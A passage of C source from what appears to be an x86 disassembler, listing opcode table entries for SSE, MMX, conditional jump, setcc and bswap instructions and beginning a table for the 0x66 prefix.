INSTRUCTION_TYPE_SSE|TYPE_3,\"rsqrtps\",AM_V|OT_ps|P_w,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"rcpps\",  AM_V|OT_ps|P_w,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"andps\",  AM_V|OT_ps|P_w,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"andnps\", AM_V|OT_ps|P_w,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"orps\",   AM_V|OT_ps|P_w,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"xorps\",  AM_V|OT_ps|P_w,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"addps\",  AM_V|OT_ps|P_w,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"mulps\",  AM_V|OT_ps|P_w,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"cvtps2pd\",AM_V|OT_pd|P_r,              AM_W|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"cvtdq2ps\",AM_V|OT_ps|P_r,              AM_W|OT_dq|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"subps\",  AM_V|OT_ps|P_w,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"minps\",  AM_V|OT_ps|P_w,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"divps\",  AM_V|OT_ps|P_w,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"maxps\",  AM_V|OT_ps|P_w,              AM_W|OT_ps|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"punpcklbw\",AM_P|OT_q|P_w,               AM_Q|OT_d|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"punpcklwd\",AM_P|OT_q|P_w,               AM_Q|OT_d|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"punpckldq\",AM_P|OT_q|P_w,               AM_Q|OT_d|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"packusdw\",AM_P|OT_q|P_w,               AM_Q|OT_d|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"pcmpgtb\",AM_P|OT_q|P_w,               AM_Q|OT_d|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"pcmpgtw\",AM_P|OT_q|P_w,               AM_Q|OT_d|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"pcmpgtd\",AM_P|OT_q|P_w,               AM_Q|OT_d|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"packsswb\",AM_P|OT_q|P_w,               AM_Q|OT_d|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"punpckhbw\",AM_P|OT_q|P_w,               AM_Q|OT_d|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"punpckhbd\",AM_P|OT_q|P_w,               AM_Q|OT_d|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"punpckhdq\",AM_P|OT_q|P_w,               AM_Q|OT_d|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"packssdw\",AM_P|OT_q|P_w,               AM_Q|OT_d|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER|TYPE_3,NULL,   FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER|TYPE_3,NULL,   FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3, \"movd\",  AM_P|OT_d|P_w,               AM_E|OT_d|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"movq\",   AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"pshufw\", AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             AM_I|OT_b,    1 },\n\t// groups 12-14\n        { INSTRUCTION_TYPE_MMX,    \"g12\",       AM_P|OT_q,                   AM_I|OT_b,                 FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX,    \"g13\",       AM_P|OT_q,                   AM_I|OT_b,                 FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX,    \"g14\",       AM_P|OT_q,                   AM_I|OT_b,                 FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"pcmpeqb\",AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"pcmpeqw\",AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"pcmpeqd\",AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX,    \"emms\",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER|TYPE_3,NULL,  FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER|TYPE_3,NULL,  FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"movd\",   AM_E|OT_d|P_w,               AM_P|OT_d|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"movq\",   AM_Q|OT_q|P_w,               AM_P|OT_q|P_r,             FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jo\",        AM_J|OT_v|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jno\",       AM_J|OT_v|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jc\",        AM_J|OT_v|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jnc\",       AM_J|OT_v|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jz\",        AM_J|OT_v|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jnz\",       AM_J|OT_v|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jna\",       AM_J|OT_v|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"ja\",        AM_J|OT_v|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"js\",        AM_J|OT_v|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jns\",       AM_J|OT_v|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jp\",        AM_J|OT_v|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jpo\",       AM_J|OT_v|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jl\",        AM_J|OT_v|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jnl\",       AM_J|OT_v|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jng\",       AM_J|OT_v|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_JMPC,   \"jg\",        AM_J|OT_v|P_x,               FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SETC,   \"seto\",      AM_E|OT_b|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SETC,   \"setno\",     AM_E|OT_b|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SETC,   \"setb\",      AM_E|OT_b|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SETC,   \"setnb\",     AM_E|OT_b|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SETC,   \"setz\",      AM_E|OT_b|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SETC,   \"setnz\",     AM_E|OT_b|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SETC,   \"setbe\",     AM_E|OT_b|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SETC,   \"setnbe\",    AM_E|OT_b|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SETC,   \"sets\",      AM_E|OT_b|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SETC,   \"setns\",     AM_E|OT_b|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SETC,   \"setp\",      AM_E|OT_b|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SETC,   \"setnp\",     AM_E|OT_b|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SETC,   \"setl\",      AM_E|OT_b|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SETC,   \"setnl\",     AM_E|OT_b|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SETC,   \"setle\",     AM_E|OT_b|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SETC,   \"setnle\",    AM_E|OT_b|P_w,               FLAGS_NONE,                FLAGS_NONE,   1 },\n\t{ INSTRUCTION_TYPE_PUSH,   \"push\",      AM_REG|REG_FS|F_r|P_r,       FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_POP,    \"pop\",       AM_REG|REG_FS|F_r|P_w,       FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  \"cpuid\",     FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_BT,     \"bt\",        AM_E|OT_v|P_r,               AM_G|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  \"shld\",      AM_E|OT_v|P_w,               AM_G|OT_v|P_r,             AM_I|OT_b|P_r,1 },\n        { INSTRUCTION_TYPE_OTHER,  \"shld\",      AM_E|OT_v|P_w,               AM_G|OT_v|P_r,   AM_REG|REG_ECX|OT_b|P_r,1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_PUSH,   \"push\",      AM_REG|REG_GS|F_r|P_r,       FLAGS_NONE,                FLAGS_NONE,   0 },\n\t{ INSTRUCTION_TYPE_POP,    \"pop\",       AM_REG|REG_GS|F_r|P_w,       FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  \"rsm\",       FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_BTS,    \"bts\",       AM_E|OT_v|P_r,               AM_G|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  \"shrd\",      AM_E|OT_v|P_w,               AM_G|OT_v|P_r,             AM_I|OT_b|P_r,1 },\n        { INSTRUCTION_TYPE_OTHER,  \"shrd\",      AM_E|OT_v|P_w,               AM_G|OT_v|P_r,   AM_REG|REG_ECX|OT_b|P_r,1 },\n\t// XXX: check addressing mode, Intel manual is a little bit confusing...\n        { INSTRUCTION_TYPE_OTHER,  \"grp15\",     AM_E|OT_v,                   FLAGS_NONE,                FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_EIMUL,  \"imul\",      AM_G|OT_v|P_r,               AM_E|OT_v|P_r,            FLAGS_NONE|P_r,1 },\n        { INSTRUCTION_TYPE_OTHER,  \"cmpxchg\",   AM_E|OT_b|P_w,               AM_G|OT_b|P_w,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  \"cmpxchg\",   AM_E|OT_v|P_w,               AM_G|OT_v|P_w,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_LFP,    \"lss\",       AM_G|OT_v|P_w,               AM_M|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_BTR,    \"btr\",       AM_E|OT_v|P_r,               AM_G|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_LFP,    \"lfs\",       AM_G|OT_v|P_w,               AM_M|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_LFP,    \"lgs\",       AM_G|OT_v|P_w,               AM_M|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MOVZX,  \"movzx\",     AM_G|OT_v|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MOVZX,  \"movzx\",     AM_G|OT_d|P_w,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n\t// XXX: group 10 / invalid opcode?\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER, \"g8\",         AM_E|OT_v,                   AM_I|OT_b,                 FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_BTC,    \"btc\",       AM_E|OT_v|P_r,               AM_G|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_BSF,    \"bsf\",       AM_G|OT_v|P_r,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_BSR,    \"bsr\",       AM_G|OT_v|P_r,               AM_E|OT_v|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MOVSX,  \"movsx\",     AM_G|OT_v|P_w,               AM_E|OT_b|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MOVSX,  \"movsx\",     AM_G|OT_v|P_w,               AM_E|OT_w|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_XADD,   \"xadd\",      AM_E|OT_b|P_w,               AM_G|OT_b|P_w,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_XADD,   \"xadd\",      AM_E|OT_v|P_w,               AM_G|OT_v|P_w,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"cmpps\",  AM_V|OT_ps|P_r,              AM_W|OT_ps|P_r,            AM_I|OT_b,    1 },\n        { INSTRUCTION_TYPE_OTHER,  \"movnti\",    AM_M|OT_d|P_w,               AM_G|OT_d|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"pinsrw\", AM_P|OT_w|P_w,               AM_E|OT_w|P_r,             AM_I|OT_b,    1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"pextrv\", AM_G|OT_w|P_w,               AM_P|OT_w|P_r,             AM_I|OT_b|P_r,1 },\n        { INSTRUCTION_TYPE_SSE|TYPE_3,\"shufps\", AM_V|OT_ps|P_w,              AM_W|OT_ps|P_r,            AM_I|OT_b|P_r,1 },\n        { INSTRUCTION_TYPE_OTHER,  \"g9\",        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_BSWAP,  \"bswap\",     AM_REG|REG_EAX|OT_v|P_w,     FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_BSWAP,  \"bswap\",     AM_REG|REG_ECX|OT_v|P_w,     FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_BSWAP,  \"bswap\",     AM_REG|REG_EDX|OT_v|P_w,     FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_BSWAP,  \"bswap\",     AM_REG|REG_EBX|OT_v|P_w,     FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_BSWAP,  \"bswap\",     AM_REG|REG_ESP|OT_v|P_w,     FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_BSWAP,  \"bswap\",     AM_REG|REG_EBP|OT_v|P_w,     FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_BSWAP,  \"bswap\",     AM_REG|REG_ESI|OT_v|P_w,     FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_BSWAP,  \"bswap\",     AM_REG|REG_EDI|OT_v|P_w,     FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER|TYPE_3,NULL,   FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"psrlw\",  AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"psrld\",  AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"psrlq\",  AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"paddq\",  AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"pmullw\", AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER|TYPE_3,NULL,   FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"pmovmskb\",AM_G|OT_q|P_w,               AM_P|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"psubusb\",AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"psubusw\",AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"pminub\", AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"pand\",   AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"paddusb\",AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"paddusw\",AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"pmaxsw\", AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"pandn\",  AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"pavgb\",  AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"psraw\",  AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"psrad\",  AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"pavgw\",  AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"pmulhuw\",AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"pmulhw\", AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER|TYPE_3,NULL,   FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"movntq\", AM_M|OT_q|P_w,               AM_V|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"psubsb\", AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"psubsw\", AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"pminsw\", AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"por\",    AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"paddsb\", AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"paddsw\", AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"pmaxsw\", AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"pxor\",   AM_P|OT_q,                   AM_Q|OT_q,                 FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER|TYPE_3,NULL,   FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"psllw\",  AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"pslld\",  AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"psllq\",  AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"pmuludq\",AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"pmaddwd\",AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"psadbw\", AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n\t// XXX: check operand types\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"maskmovq\",AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"psubb\",  AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"psubw\",  AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"psubd\",  AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"psubq\",  AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"paddb\",  AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"paddw\",  AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_MMX|TYPE_3,\"paddd\",  AM_P|OT_q|P_w,               AM_Q|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n};\n\n// 3-byte instructions, prefix 0x66\n\n// Yeah, I know, it's waste to use a full 256-instruction table but now\n// I'm prepared for future Intel extensions ;-)\n\nINST inst_table3_66[256] = {\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_OTHER,  NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0 },\n        { INSTRUCTION_TYPE_SSE,    \"movupd\",    AM_V|OT_pd|P_w,              AM_W|OT_pd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"movupd\",    AM_W|OT_pd|P_w,              AM_V|OT_pd|P_r,            FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"movlpd\",    AM_V|OT_q|P_w,               AM_M|OT_q|P_r,             FLAGS_NONE,   1 },\n        { INSTRUCTION_TYPE_SSE,    \"movlpd\",    